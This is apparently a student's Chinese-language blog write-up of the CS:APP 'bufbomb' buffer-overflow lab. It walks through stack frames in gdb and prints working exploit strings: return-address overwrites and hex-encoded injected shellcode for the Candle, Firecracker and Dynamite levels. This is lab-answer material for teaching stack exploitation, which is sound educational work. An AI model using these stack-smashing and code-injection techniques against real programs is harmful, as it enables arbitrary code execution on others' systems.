這個實驗主要是熟悉棧,和了解數據緩存區溢出的問題。
數據緩存區溢出:程序每次調用函數時,會把當前的eip指針保存在棧里面,作為被調用函數返回時的程序指針。在被調用程序里面,棧是向下增長的。所有局部變量都存儲在棧里面(靜態局部變量除外)。假設有一個字符串變量str,在str讀取數據時,如果緩存區沒有進行一定的保護,會造成緩存區的溢出。由於棧是向下增長的,但是對於一個變量,如str,他的數據存儲順序是向上增長的。所以當緩存區溢出時,可能對eip的返回指產生影響,可以通過輸入,來改變eip指針的值,從而控制程序返回的地址。
Level 0: Candle
第一個實驗,是通過數據緩存區溢出,來對程序進行修改。
程序是一個字符串的輸入程序,如果輸入超過40個,就會說輸入錯誤。
試驗一就是要通過查看程序的棧幀,進行緩存區溢出攻擊,通過輸入,改變程序的返回地址。
void test() { unsigned long long val; volatile unsigned long long local = 0xdeadbeef; char* variable_length; entry_check(3); /* Make sure entered this function properly */ val = getbuf(); if (val <= 40) { variable_length = alloca(val); } entry_check(3); /* Check for corrupted stack */ if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned 0x%llx\n", val); if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } validate(3); } else { printf("Dud: getbuf returned 0x%llx\n", val); } }
unsigned long long getbuf() { char buf[36]; volatile char* variable_length; int i; unsigned long long val = (unsigned long long)Gets(buf); variable_length = alloca((val % 40) < 36 ? 36 : val % 40); for(i = 0; i < 36; i++) { variable_length[i] = buf[i]; } return val % 40; }
test函數調用getbuf()函數,來輸入字符串。然后判斷輸入的字符串長度。
實驗要求,輸入一個字符串,然后是getbuf()完成后,跳轉到smoke()函數,而不是test函數。
首先,進入getbuf函數,查看getbuf的棧幀。
可以看到,程序的返回地址存儲在rip中,地址是:
也就是要通過輸入,改變0x7fffffffb1a8地址中的值。
根據程序:
char buf[36]; volatile char* variable_length; int i; unsigned long long val = (unsigned long long)Gets(buf);
我們的輸入存在buf這個變量里面,查看buf這個變量的地址:
上面兩個地址相減,就是:0xb1a8-0xb170=0x38=56
也就是我們要輸入56個字符串,然后再輸入想要轉化的地址。
現在只要知道smoke的函數入口地址就可以了,
通過查看smoke的第一行的地址,就可以知道函數入口地址
知道smoke入口地址是0x4010c0
只要在最后輸入0x4010c0就可以了,但是因為機器是小端法的機器,所以輸入要反一下,要輸入C0 10 40 00
綜上最后的輸入為:
30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 c0 10 40 00
前面56個輸入,只要不要有換行符就行了
最后的結果:
成功調用了smoke
Level 1: Sparkler
Similar to Level 0, your task is to get bufbomb
to execute the code for fizz()
rather than returning to test
. In this case, however, you must make it appear to fizz
as if you have passed your cookie as its argument. You can do this by encoding your cookie in the appropriate place within your exploit string.
void fizz(int arg1, char arg2, long arg3, char* arg4, short arg5, short arg6, unsigned long long val) { entry_check(1); /* Make sure entered this function properly */ if (val == cookie) { printf("Fizz!: You called fizz(0x%llx)\n", val); validate(1); } else { printf("Misfire: You called fizz(0x%llx)\n", val); } exit(0); }
Level 2: Firecracker
bufbomb
to execute the code for
bang()
rather than returning to
test()
. Before this, however, you must set global variable
global_value
to your cookie. Your exploit code should set
global_value
, push the address of
bang()
on the stack, and then execute a
retq
instruction to cause a jump to the code for
bang()
.
unsigned long long global_value = 0; void bang(unsigned long long val) { entry_check(2); /* Make sure entered this function properly */ if (global_value == cookie) { printf("Bang!: You set global_value to 0x%llx\n", global_value); validate(2); } else { printf("Misfire: global_value = 0x%llx\n", global_value); } exit(0); }
這個實驗要求把getbuf函數結束之后,跳轉到bang這個函數里面來,然后global_value的值需要和cookie一樣。一開始我以為這個和前面第二個的實驗差不多,后來gdb進去一看,global_value由於是全局變量,根本不在棧里面,像實驗二一樣,通過直接改global_value的值是不行的。
.data .text main: MOVQ $0x602308 ,%rax MOVQ $0x704537f05ce48c45 ,%rbx movq %rbx,(%rax) push $0x401020 ret


48 c7 c0 08 23 60 00 48 bb 45 8c e4 5c f0 37 45 70 48 89 18 68 20 10 40 00 c3 00 c3 32 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 00 00 00 02 03 04 20 23 60 00 00 70 b1 ff ff ff 7f 00 00
在這里和第二個實驗還有點不一樣的地方就是把rip的地址改為了buf的首地址,這樣,當getbuf函數返回的時候,會把這段代碼作為返回地址,然后執行。
最后結果:
成功更改了global_value的值。
代碼,數據,對計算機來說都是0,1而已,沒有區別。
Extra Credit – Level 3: Dynamite
getbuf()
to return your cookie back to
test()
, rather than the value 1. You can see in the code for
test()
that this will cause the program to go "
Boom!
"
oid test() { unsigned long long val; volatile unsigned long long local = 0xdeadbeef; char* variable_length; entry_check(3); /* Make sure entered this function properly */ val = getbuf(); if (val <= 40) { variable_length = alloca(val); } entry_check(3); /* Check for corrupted stack */ if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned 0x%llx\n", val); if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } validate(3); } else { printf("Dud: getbuf returned 0x%llx\n", val); } }
這個實驗就是讓我把getbuf里面的返回值改成cookie的值,和上一個實驗都是一樣的,唯一需要注意的是,在程序里面有一個local的變量,用來檢測棧地址有沒有被改變。因為local的變量是通過rbp間接尋址得到的,所以在匯編程序里面需要改變rbp的值,使他指向正確的rbp;
寫入的匯編代碼如下:
然后把這些二進制的代碼寫入到字符串,寫入的字符串為:
48 b8 45 8c e4 5c f0 37 45 70 48 bd d0 b1 ff ff ff 7f 00 00 68 f3 0e 40 00 c3 00 c3 32 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 00 00 00 02 03 04 20 23 60 00 00 70 b1 ff ff ff 7f 00 00
最后在gdb里面得到的結果:
總結:終於搞完這個東西了,匯編編程還真是麻煩,雖然只有幾行,但是錯誤真是難找。記得第三個實驗我傳值的時候忘記掉了$符號,結果傳進去的值不是立即數,而是間接地址上的數,因為這個錯,弄了一晚上,一直以為是自己字符串輸錯了……真是蛋疼
版權聲明:本文為博主原創文章,未經博主允許不得轉載。